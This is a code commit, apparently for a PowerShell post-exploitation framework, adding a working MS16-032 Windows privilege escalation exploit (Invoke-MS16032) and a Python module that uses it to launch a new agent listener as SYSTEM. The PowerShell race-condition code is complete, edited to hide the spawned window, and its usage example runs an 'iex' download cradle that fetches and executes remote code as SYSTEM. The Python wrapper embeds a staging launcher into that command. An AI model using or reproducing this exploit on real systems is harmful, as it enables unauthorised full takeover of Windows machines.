commit
de1a563bdf
|
@ -0,0 +1,370 @@
|
||||||
|
function Invoke-MS16032 {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
PowerShell implementation of MS16-032. The exploit targets all vulnerable
|
||||||
|
operating systems that support PowerShell v2+. Credit for the discovery of
|
||||||
|
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
|
||||||
|
|
||||||
|
Targets:
|
||||||
|
|
||||||
|
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
|
||||||
|
* Tested on x32 Win7, x64 Win8, x64 2k12R2
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
|
||||||
|
* In order for the race condition to succeed the machine must have 2+ CPU
|
||||||
|
cores. If testing in a VM just make sure to add a core if needed mkay.
|
||||||
|
* The exploit is pretty reliable, however ~1/6 times it will say it succeeded
|
||||||
|
but not spawn a shell. Not sure what the issue is but just re-run and profit!
|
||||||
|
* Want to know more about MS16-032 ==>
|
||||||
|
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Author: Ruben Boonen (@FuzzySec)
|
||||||
|
Blog: http://www.fuzzysecurity.com/
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: PowerShell v2+
|
||||||
|
Optional Dependencies: None
|
||||||
|
E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736
|
||||||
|
|
||||||
|
EDIT: This script has been edited to include a parameter for custom commands and
|
||||||
|
also hides the spawned shell. Many comments have also been removed and echo has
|
||||||
|
moved to Write-Verbose. The original can be found at:
|
||||||
|
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
C:\PS> Invoke-MS16-032 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')"
|
||||||
|
|
||||||
|
Description
|
||||||
|
-----------
|
||||||
|
Will run the iex download cradle as SYSTEM
|
||||||
|
|
||||||
|
#>
|
||||||
|
[CmdletBinding()]
|
||||||
|
param(
|
||||||
|
|
||||||
|
[Parameter(Position=0,Mandatory=$True)]
|
||||||
|
[String]
|
||||||
|
$Command
|
||||||
|
)
|
||||||
|
|
||||||
|
Add-Type -TypeDefinition @"
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Security.Principal;
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct PROCESS_INFORMATION
|
||||||
|
{
|
||||||
|
public IntPtr hProcess;
|
||||||
|
public IntPtr hThread;
|
||||||
|
public int dwProcessId;
|
||||||
|
public int dwThreadId;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||||
|
public struct STARTUPINFO
|
||||||
|
{
|
||||||
|
public Int32 cb;
|
||||||
|
public string lpReserved;
|
||||||
|
public string lpDesktop;
|
||||||
|
public string lpTitle;
|
||||||
|
public Int32 dwX;
|
||||||
|
public Int32 dwY;
|
||||||
|
public Int32 dwXSize;
|
||||||
|
public Int32 dwYSize;
|
||||||
|
public Int32 dwXCountChars;
|
||||||
|
public Int32 dwYCountChars;
|
||||||
|
public Int32 dwFillAttribute;
|
||||||
|
public Int32 dwFlags;
|
||||||
|
public Int16 wShowWindow;
|
||||||
|
public Int16 cbReserved2;
|
||||||
|
public IntPtr lpReserved2;
|
||||||
|
public IntPtr hStdInput;
|
||||||
|
public IntPtr hStdOutput;
|
||||||
|
public IntPtr hStdError;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct SQOS
|
||||||
|
{
|
||||||
|
public int Length;
|
||||||
|
public int ImpersonationLevel;
|
||||||
|
public int ContextTrackingMode;
|
||||||
|
public bool EffectiveOnly;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class Advapi32
|
||||||
|
{
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||||
|
public static extern bool CreateProcessWithLogonW(
|
||||||
|
String userName,
|
||||||
|
String domain,
|
||||||
|
String password,
|
||||||
|
int logonFlags,
|
||||||
|
String applicationName,
|
||||||
|
String commandLine,
|
||||||
|
int creationFlags,
|
||||||
|
int environment,
|
||||||
|
String currentDirectory,
|
||||||
|
ref STARTUPINFO startupInfo,
|
||||||
|
out PROCESS_INFORMATION processInformation);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true)]
|
||||||
|
public static extern bool SetThreadToken(
|
||||||
|
ref IntPtr Thread,
|
||||||
|
IntPtr Token);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true)]
|
||||||
|
public static extern bool OpenThreadToken(
|
||||||
|
IntPtr ThreadHandle,
|
||||||
|
int DesiredAccess,
|
||||||
|
bool OpenAsSelf,
|
||||||
|
out IntPtr TokenHandle);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true)]
|
||||||
|
public static extern bool OpenProcessToken(
|
||||||
|
IntPtr ProcessHandle,
|
||||||
|
int DesiredAccess,
|
||||||
|
ref IntPtr TokenHandle);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true)]
|
||||||
|
public extern static bool DuplicateToken(
|
||||||
|
IntPtr ExistingTokenHandle,
|
||||||
|
int SECURITY_IMPERSONATION_LEVEL,
|
||||||
|
ref IntPtr DuplicateTokenHandle);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class Kernel32
|
||||||
|
{
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
public static extern uint GetLastError();
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern IntPtr GetCurrentProcess();
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern IntPtr GetCurrentThread();
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern int GetThreadId(IntPtr hThread);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern int GetProcessIdOfThread(IntPtr handle);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll",SetLastError=true)]
|
||||||
|
public static extern int SuspendThread(IntPtr hThread);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll",SetLastError=true)]
|
||||||
|
public static extern int ResumeThread(IntPtr hThread);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern bool TerminateProcess(
|
||||||
|
IntPtr hProcess,
|
||||||
|
uint uExitCode);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern bool CloseHandle(IntPtr hObject);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern bool DuplicateHandle(
|
||||||
|
IntPtr hSourceProcessHandle,
|
||||||
|
IntPtr hSourceHandle,
|
||||||
|
IntPtr hTargetProcessHandle,
|
||||||
|
ref IntPtr lpTargetHandle,
|
||||||
|
int dwDesiredAccess,
|
||||||
|
bool bInheritHandle,
|
||||||
|
int dwOptions);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class Ntdll
|
||||||
|
{
|
||||||
|
[DllImport("ntdll.dll", SetLastError=true)]
|
||||||
|
public static extern int NtImpersonateThread(
|
||||||
|
IntPtr ThreadHandle,
|
||||||
|
IntPtr ThreadToImpersonate,
|
||||||
|
ref SQOS SecurityQualityOfService);
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
|
||||||
|
function Get-ThreadHandle {
|
||||||
|
$StartupInfo = New-Object STARTUPINFO
|
||||||
|
$StartupInfo.dwFlags = 0x00000100
|
||||||
|
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
|
||||||
|
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
|
||||||
|
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
|
||||||
|
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)
|
||||||
|
|
||||||
|
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||||
|
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||||
|
|
||||||
|
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||||
|
"user", "domain", "pass",
|
||||||
|
0x00000002, "C:\Windows\System32\cmd.exe", "",
|
||||||
|
0x00000004, $null, $GetCurrentPath,
|
||||||
|
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||||
|
|
||||||
|
$lpTargetHandle = [IntPtr]::Zero
|
||||||
|
$CallResult = [Kernel32]::DuplicateHandle(
|
||||||
|
$ProcessInfo.hProcess, 0x4,
|
||||||
|
[Kernel32]::GetCurrentProcess(),
|
||||||
|
[ref]$lpTargetHandle, 0, $false,
|
||||||
|
0x00000002)
|
||||||
|
|
||||||
|
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||||
|
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||||
|
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||||
|
|
||||||
|
$lpTargetHandle
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-SystemToken {
|
||||||
|
Write-Verbose "`n[?] Trying thread handle: $Thread"
|
||||||
|
Write-Verbose "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
|
||||||
|
|
||||||
|
$CallResult = [Kernel32]::SuspendThread($Thread)
|
||||||
|
if ($CallResult -ne 0) {
|
||||||
|
Write-Verbose "[!] $Thread is a bad thread, moving on.."
|
||||||
|
Return
|
||||||
|
} Write-Verbose "[+] Thread suspended"
|
||||||
|
|
||||||
|
Write-Verbose "[>] Wiping current impersonation token"
|
||||||
|
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
|
||||||
|
if (!$CallResult) {
|
||||||
|
Write-Verbose "[!] SetThreadToken failed, moving on.."
|
||||||
|
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||||
|
Write-Verbose "[+] Thread resumed!"
|
||||||
|
Return
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose "[>] Building SYSTEM impersonation token"
|
||||||
|
$SQOS = New-Object SQOS
|
||||||
|
$SQOS.ImpersonationLevel = 2
|
||||||
|
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
|
||||||
|
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
|
||||||
|
if ($CallResult -ne 0) {
|
||||||
|
Write-Verbose "[!] NtImpersonateThread failed, moving on.."
|
||||||
|
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||||
|
Write-Verbose "[+] Thread resumed!"
|
||||||
|
Return
|
||||||
|
}
|
||||||
|
|
||||||
|
$script:SysTokenHandle = [IntPtr]::Zero
|
||||||
|
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
|
||||||
|
if (!$CallResult) {
|
||||||
|
Write-Verbose "[!] OpenThreadToken failed, moving on.."
|
||||||
|
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||||
|
Write-Verbose "[+] Thread resumed!"
|
||||||
|
Return
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose "[?] Success, open SYSTEM token handle: $SysTokenHandle"
|
||||||
|
Write-Verbose "[+] Resuming thread.."
|
||||||
|
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||||
|
}
|
||||||
|
|
||||||
|
$ms16032 = @"
|
||||||
|
__ __ ___ ___ ___ ___ ___ ___
|
||||||
|
| V | _|_ | | _|___| |_ |_ |
|
||||||
|
| |_ |_| |_| . |___| | |_ | _|
|
||||||
|
|_|_|_|___|_____|___| |___|___|___|
|
||||||
|
|
||||||
|
[by b33f -> @FuzzySec]
|
||||||
|
"@
|
||||||
|
|
||||||
|
$ms16032
|
||||||
|
|
||||||
|
Write-Verbose "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
|
||||||
|
if ($([System.Environment]::ProcessorCount) -lt 2) {
|
||||||
|
"[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
|
||||||
|
Return
|
||||||
|
}
|
||||||
|
|
||||||
|
$ThreadArray = @()
|
||||||
|
$TidArray = @()
|
||||||
|
|
||||||
|
Write-Verbose "[>] Duplicating CreateProcessWithLogonW handles.."
|
||||||
|
for ($i=0; $i -lt 500; $i++) {
|
||||||
|
$hThread = Get-ThreadHandle
|
||||||
|
$hThreadID = [Kernel32]::GetThreadId($hThread)
|
||||||
|
if ($TidArray -notcontains $hThreadID) {
|
||||||
|
$TidArray += $hThreadID
|
||||||
|
if ($hThread -ne 0) {
|
||||||
|
$ThreadArray += $hThread
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($($ThreadArray.length) -eq 0) {
|
||||||
|
"[!] No valid thread handles were captured, exiting!"
|
||||||
|
Return
|
||||||
|
} else {
|
||||||
|
Write-Verbose "[?] Done, got $($ThreadArray.length) thread handle(s)!"
|
||||||
|
Write-Verbose "`n[?] Thread handle list:"
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose "`n[*] Sniffing out privileged impersonation token.."
|
||||||
|
foreach ($Thread in $ThreadArray){
|
||||||
|
|
||||||
|
Get-SystemToken
|
||||||
|
|
||||||
|
Write-Verbose "`n[*] Sniffing out SYSTEM shell.."
|
||||||
|
Write-Verbose "`n[>] Duplicating SYSTEM token"
|
||||||
|
$hDuplicateTokenHandle = [IntPtr]::Zero
|
||||||
|
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
|
||||||
|
|
||||||
|
Write-Verbose "[>] Starting token race"
|
||||||
|
$Runspace = [runspacefactory]::CreateRunspace()
|
||||||
|
$StartTokenRace = [powershell]::Create()
|
||||||
|
$StartTokenRace.runspace = $Runspace
|
||||||
|
$Runspace.Open()
|
||||||
|
[void]$StartTokenRace.AddScript({
|
||||||
|
Param ($Thread, $hDuplicateTokenHandle)
|
||||||
|
while ($true) {
|
||||||
|
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
|
||||||
|
}
|
||||||
|
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
|
||||||
|
$AscObj = $StartTokenRace.BeginInvoke()
|
||||||
|
|
||||||
|
Write-Verbose "[>] Starting process race"
|
||||||
|
$SafeGuard = [diagnostics.stopwatch]::StartNew()
|
||||||
|
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
|
||||||
|
$StartupInfo = New-Object STARTUPINFO
|
||||||
|
# 2 lines added to hide window
|
||||||
|
$StartupInfo.dwFlags = 0x00000001
|
||||||
|
$StartupInfo.wShowWindow = 0x00000000
|
||||||
|
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||||
|
|
||||||
|
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||||
|
|
||||||
|
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||||
|
|
||||||
|
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||||
|
"user", "domain", "pass",
|
||||||
|
0x00000002, "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe", " -command $Command",
|
||||||
|
0x00000004, $null, $GetCurrentPath,
|
||||||
|
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||||
|
|
||||||
|
$hTokenHandle = [IntPtr]::Zero
|
||||||
|
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
|
||||||
|
if (!$CallResult) {
|
||||||
|
"`n[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
|
||||||
|
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
|
||||||
|
$StartTokenRace.Stop()
|
||||||
|
$SafeGuard.Stop()
|
||||||
|
Return
|
||||||
|
}
|
||||||
|
|
||||||
|
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||||
|
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||||
|
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||||
|
}
|
||||||
|
|
||||||
|
$StartTokenRace.Stop()
|
||||||
|
$SafeGuard.Stop()
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,99 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Invoke-MS16032',
|
||||||
|
|
||||||
|
'Author': ['@FuzzySec', '@leoloobeek'],
|
||||||
|
|
||||||
|
'Description': ('Spawns a new Listener as SYSTEM by'
|
||||||
|
' leveraging the MS16-032 local exploit.'
|
||||||
|
' Note: ~1/6 times the exploit won\'t work, may need to retry.'),
|
||||||
|
'Background' : True,
|
||||||
|
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
|
'OpsecSafe' : False,
|
||||||
|
|
||||||
|
'MinPSVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'Credit to James Forshaw (@tiraniddo) for exploit discovery and',
|
||||||
|
'to Ruben Boonen (@FuzzySec) for PowerShell PoC',
|
||||||
|
'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html',
|
||||||
|
'https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
self.options = {
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to grab a screenshot from.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Listener' : {
|
||||||
|
'Description' : 'Listener to use.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'UserAgent' : {
|
||||||
|
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'Proxy' : {
|
||||||
|
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'ProxyCreds' : {
|
||||||
|
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
if params:
|
||||||
|
for param in params:
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16032.ps1"
|
||||||
|
try:
|
||||||
|
f = open(moduleSource, 'r')
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
moduleCode = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
script = moduleCode
|
||||||
|
|
||||||
|
# generate the launcher code without base64 encoding
|
||||||
|
l = self.mainMenu.stagers.stagers['launcher']
|
||||||
|
l.options['Listener']['Value'] = self.options['Listener']['Value']
|
||||||
|
l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
|
||||||
|
l.options['Proxy']['Value'] = self.options['Proxy']['Value']
|
||||||
|
l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
|
||||||
|
l.options['Base64']['Value'] = 'False'
|
||||||
|
launcherCode = l.generate()
|
||||||
|
|
||||||
|
# need to escape characters
|
||||||
|
launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'")
|
||||||
|
|
||||||
|
script += 'Invoke-MS16032 -Command "' + launcherCode + '"'
|
||||||
|
script += ';`nInvoke-MS16032 completed.'
|
||||||
|
|
||||||
|
return script
|
Loading…
Reference in New Issue